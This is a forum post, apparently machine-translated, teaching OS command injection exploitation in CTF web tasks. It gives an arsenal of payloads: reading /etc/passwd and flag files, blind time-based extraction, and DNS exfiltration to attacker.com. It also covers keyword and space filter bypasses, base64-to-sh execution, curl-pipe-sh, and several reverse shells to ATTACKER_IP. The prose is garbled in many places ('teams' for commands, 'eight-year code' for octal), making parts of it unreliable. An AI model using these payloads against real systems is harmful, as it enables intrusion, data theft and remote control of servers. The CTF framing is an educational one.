Command injection operation in CTF-tasks

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
590
Reaction score
1,127
Deposit
0$
Business logic command injection – why is it an attacker

Command injection is not an academic exercise. In terms of MITRE ATT&CK, the chain through this vulnerability is going like this: an attacker finds a public web application with raw input – Exploit Public-Facing Application (T1190, Initial Access). Performs arbitrary commands via Unix Shell (T1059.004, Execution) or Windows Command Shell (T1059.003, Execution). It is fixed through Web Shell (T1505.003, Persistence), conducts file system exploration – File and Directory Discovery (T1083, Discovery), collects information about the system – System Information Discovery (T1082, Discovery) – and pulls out target data – Data from Local System (T1005, Collection). More information in our material about creating ctf tasks.

In the real world, the motivation of the attacker is to get RCE (remote code execution), gain a foothold in the infrastructure, exfiltrate data or deploy ransomware. In CTF, everything is easier – to pick up the flag from a file or a variable environment. But the techniques are carried one into one.

According to OWASP Top 10 2021, Injection vulnerabilities sit in the third position (A03:2021) – this includes SQL, NoSQL, LDAP and OS command injection. At the same time, OS command injection is more dangerous than code injection: the attacker goes beyond the application and commands the operating system directly. The application code is executed by an interpreter with rangeway constraints, and the system command is the shell with the privileges of the process. Feel the difference.
Vulnerability Anatomy: How OS Command injection occurs

The vulnerability appears when the application transmits the user input to the function that executes the system commands. In Python it os.system(), subprocess.run() with shell=True, os.popen(). In PHP - system(), exec(), passthru(), shell_exec(), reverse quotes. In Node.js — child_process.exec(). In C/C++ — system(), where's the wrapper over the team cat allowed to finish the arbitrary command through a point with a semicolon (classics from examples of OWASP).

Typical vulnerable endpoint in Python – nowhere else:

import os
from flask import request

@app.route('/ping')
def ping():
host = request.args.get('host')
output = os.popen(f"ping -c 1 {host}").read()
return output

Significance host put in a command line without validation. Transmitting 127.0.0.1; cat /etc/passwd – the shell will perform both commands: first ping -c 1 127.0.0.1, then cat /etc/passwd. This is the script from OWASP Command Injection: “Command injections are largely possible to equal input watering.”

Do not confuse command injection code injection. In code injection, the attacker implements the code in the application language (Python, PHP, Ruby), which is executed by the interpreter. With OS command injection, the commands go directly to shell — /bin/sh, /bin/bash, cmd.exe. The consequences are wider: shell gives access to the entire file system, network utilities, processes.
Preconditions for command command operation

Before you send payloads, check for conditions:
Precondition How to check What breaks the exploitation
The application causes shell-function with user input Source code analysis, endpoint behavior subprocess.run(["ping", host]) without shell=True – injection is impossible
The interpreter of the shell is used Test payloads with dividers Direct call of the binary without shell (for example, execvp in C)
There is no sanitation or circumvention Sending test symbols (;, |, $) shlex.quote() in Python, escapeshellarg() in PHP – safe wrappers

In CTF-tasses, preconditions are usually performed by design - the task is created for operation. In the real pentest, everyone needs to confirm.
Command Chain Operators: Select a Separator for injection

The choice of the operator is the first solution on which it depends whether the payload will fly or not. Full table for Unix-hells:
Operator Behavior When to use
; Performs both commands consistently, regardless of the result Basic case without filters
&& The second team is executed only with the success of the first Need a valid first argument
\|\| The second command is performed only when the first one fails Want to run the command when the ping didn't go
\| Pipe: first-team stdout → stdin second Transfer data between teams
`cmd` Command substitution through reverse quotes Inside the string arguments
$(cmd) Command substitution (modern syntax) Analog backticks, supports nesting
%0a / \n Newline – interpreted as a new team URL parameters when ; Filtered

On Windows replacement ; on &, eh && and || work similarly. Substitution through reverse quotes does not work in cmd.exe, but works in PowerShell.

A practical approach to command injection in web applications: start with ; id, then try | id, more $(id). If you see in the answer uid= – injection confirmed and you work with inline-withdrawal. The answer is empty or unchangeable – move to blind techniques.
Step-by-step command injection operation in CTF-tack
Step 1 — Input point detection

Look for any functionality that obviously interacts with the OS: ping, traceroute, nslookup, file conversion (PDF generation, ImageMagick), file system search, service availability check. In Burp Repeater, intercept the query and study the parameters. Parameters with names host, ip, file, cmd, domain, path, url The first candidates.

Don’t limit yourself to GET parameters. Command injection payloads can pass through the POST body, HTTP headers (especially X-Forwarded-For, User-Agent – if the application logs them through the shell command) and even cookies. Web-tacks CTF command injection like to hide the vulnerable parameter not in the most obvious place – on that and CTF.
Step 2 – confirmation injection

Send test payload: add ; sleep 5 to the value of the parameter. The HTTP response was delayed for five seconds – the command injection is confirmed, even without the output in the body of the answer. Classic time-based blind injection technique.

Alternative: ; echo RANDOMTOKEN12345. Look for a line RANDOMTOKEN12345 in the reply. Found - you have an inline conclusion, then everything is easier. Does the echo not work? Try the substitution $(echo RANDOMTOKEN12345) – the result will be placed in the original team and can surface in the error message.
Step 3 – Surroundings

Confirming injection, collect information about the system (System Information Discovery, T1082):

; id – under which user the process works (uid, gid, groups)
; uname -a – core, OS version, architecture
; ls -la / – structure of the root file system (File and Directory Discovery, T1083)
; cat /etc/passwd – list of users
; env – environment variables (in CTF the flag sometimes lies directly into $FLAG)
; ps aux – running processes (other services can tell)

Step 4 – Capture the Flag

In CTF command injection webcasts, the flag is usually stored in the file — /flag.txt, /flag, /home/ctf/flag, /root/flag.txt. Try consistently:

; cat /flag.txt
; cat /flag* – wildcard in case of a non-standard name
; find / -name "flag*" 2>/dev/null – recursive search (utility find from GTFOBins is doubly useful: and search for files, and execute commands through -exec)
; env | grep -i flag – checking the environment variables

If cat blocked — use tac, head -n 100, tail, less, nl, sort, base64 (the latter will display the contents in base64, decode locally).
Blind command injection – exploitation blindly

Often in the CTF (and almost always on real servers) the output of the injected command does not fall into the HTTP response. The app shows a static “Ping successful” or “Operation complete” regardless of the result. This is a blind (blind) command injection, and there are other approaches.

Time-based – the most reliable method of confirmation. Payload ; sleep 5 creates a measurable delay. For data extraction - binary oracle: ; if [ $(cut -c1 /flag.txt) = "C" ]; then sleep 3; fi. The delay of three seconds is the first symbol of the flag is “C”. The symbol behind the symbol is automated by Python script on requests for 15 minutes: position cycle, table cycle alphabetically, measurement response.elapsed.total_seconds().

DNS exfiltration. If the server can make DNS requests (and port 53 is rarely blocked), the data goes through the subdomain: ; nslookup $(cat /flag.txt | tr ' ' '-').attacker.com. On a controlled DNS server (or through an interactive.sh) you see a request with the contents of the file in the subdomain name. Works even through strict firewalls – DNS traffic is needed for almost all services. Similar reception: nslookup attacker.com or ping attacker.com – control attacker.com, see the incoming request.

Record in webroot. You know the way to web directory (usually /var/www/html/ for Apache or /usr/share/nginx/html/ for Nginx)? We write: ; cat /flag.txt > /var/www/html/out.txt. Then http://target/out.txt in the browser and read the result. Simple, but works only when the process has the rights to write to webroot.
Bypassing the command injection filters - full arsenal

Here begins the most interesting. In modern CTF web cars, raw payloads almost never pass – there are filters at the application level or WAF. Let's look at the techniques of bypassing the command injection filters from simple to hardcore.
The gaps are filtered

A gap in blacklist? Replace:

${IFS} – built-in variable bash (Internal Field Separator), by default contains a space, tabulation and translation of the line. Example: cat${IFS}/flag.txt
Figure brackets: {cat,/flag.txt} – bash deploys brace expansion, the comma works as an argument divider
$IFS$9 - $9 this is an empty ninth positional parameter, the combination correctly separates the arguments
%09 – horizontal tab symbol in URL-encoded form, accepted as whitespace shell

Keywords are filtered

Blacklist contains cat, ls, flag or other specific words:

Quotes inside the word: c'a't /flag.txt or c"a"t /flag.txt – shell ignores empty quotes and glues parts into a single command
Reverse slash: c\at /fl\ag.txt – shielding breaks the word for blacklist, but shell processes it correctly
Wildcard: cat /fl?g.txt or /bin/c?t /flag* – wildcard symbols bypass the exact-match filters
Environment variables: a=fl;b=ag;cat /$a$b.txt – the word “flag” does not appear in the query in its entirety
Alternative utilities: tac, head, tail, less, more, nl, sort, rev, xxd, od, base64 – if cat blocked, one of them is usually available

Special symbols are filtered

When the operators of the chain (;, |, &) blocked:

Newline %0a – in URL parameters, the translation of the line often does not fall into blacklist. Shell interprets it as a team divider
Substitution $(cmd) – if $ and brackets are available, the substitution works even without a semicolon
Reverse quotes `cmd` – analogue $(), sometimes slip through filters that do not take into account this syntax

Filter ALL letters — ANSI-C quoting

The toughest scenario: regex species [a-zA-Z] blocks any letter in the custom input. This is the filter that stood in the Dojo Challenge #36 CTF Challenge on YesWeHack, where the custom feature is PreProd_Sanitize passed the input without letters directly, and when the letter was detected, I turned the line into single quotes with shielding - it is impossible to get out of which.

Solution – ANSI-C quoting. Syntax $'\NNN' allows you to set symbols through eight codes. Shell interprets $'\154\163' How ls, eh $'\143\141\164' How cat. There is not a single letter in the paiload - regex does not work, the input is carried out without sanitization:

# ls через ANSI-C quoting — ни одной буквы в пейлоаде
$'\154\163'
# cat /flag.txt — полностью в восьмеричных кодах
$'\143\141\164' $'\057\146\154\141\147\056\164\170\164'

Recipe: for each command symbol, get an eight-year code (via printf '%o' "'c" → 143), assemble a string in the format $'\143\141\164' and put it in the peyload. The technique works in bash, ash, zsh – that is, in almost any CTF environment on Linux.
Base64 and hex-coding

If base64 and sh available on the server, encode the command in its entirety: echo "cat /flag.txt" | base64 locally gives Y2F0IC9mbGFnLnR4dA==. Payload for injection: ; echo Y2F0IC9mbGFnLnR4dA== | base64 -d | sh. Words cat and flag do not appear in the request – blacklist according to bypass.

Similar approach through hex: ; echo 636174202f666c61672e747874 | xxd -r -p | sh. Team cat /flag.txt encoded in a hex line. Works on systems with xxd (Part of the package vim).
Automation:comix and hand tools

Manual overkill command injection payloads is the best way to understand mechanics, but on CTF time is pressed. Commix – specialized tool for automation of command injection operation. Launch: commix --url="http://target/ping?host=INJECT_HERE" --technique=T --os-cmd="cat /flag.txt". Flag --technique=T includes time-based blind injection. For classic (inline-output) – --technique=C. Commix goes over separators, encodings and wrappers automatically – saving ten to fifteen minutes on a board.

Burp Repeater is indispensable for manual debugging: sent a request, saw the answer, adjusted the payload. For mass bulkhead — Burp Intruder with wordlist' bash command command examples or Python script on requests with measurement response.elapsed.total_seconds() for blind-scripts.
From injection to reverse shell — completing the RCE chain via command injection

Flag capture is a CTF-task finish, but sometimes the flag is available only through an interactive session (you need to run a binary with arguments or read a file that is only available to a certain user). Then you need a reverse shell – a reverse connection from the server to your machine.

Classic options bash command injection to obtain shell:

Bash: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Netcat (with flag -e: nc ATTACKER_IP 4444 -e /bin/sh
Netcat without -e: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
Python: python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'

Outgoing TCP blocked by firewall? Try the curl-based approach: place the script on your server, pull up through curl http://ATTACKER_IP/shell.sh | sh. The alternative is DNS tunnels or ICMP shells when standard ports are closed.

After receiving the shell, stabilize it: python3 -c 'import pty; pty.spawn("/bin/bash")', then Ctrl+Z, stty raw -echo; fg. You get a full-fledged interactive terminal with auto-add-up, team history and correct processing of Ctrl+C.
 
Top Bottom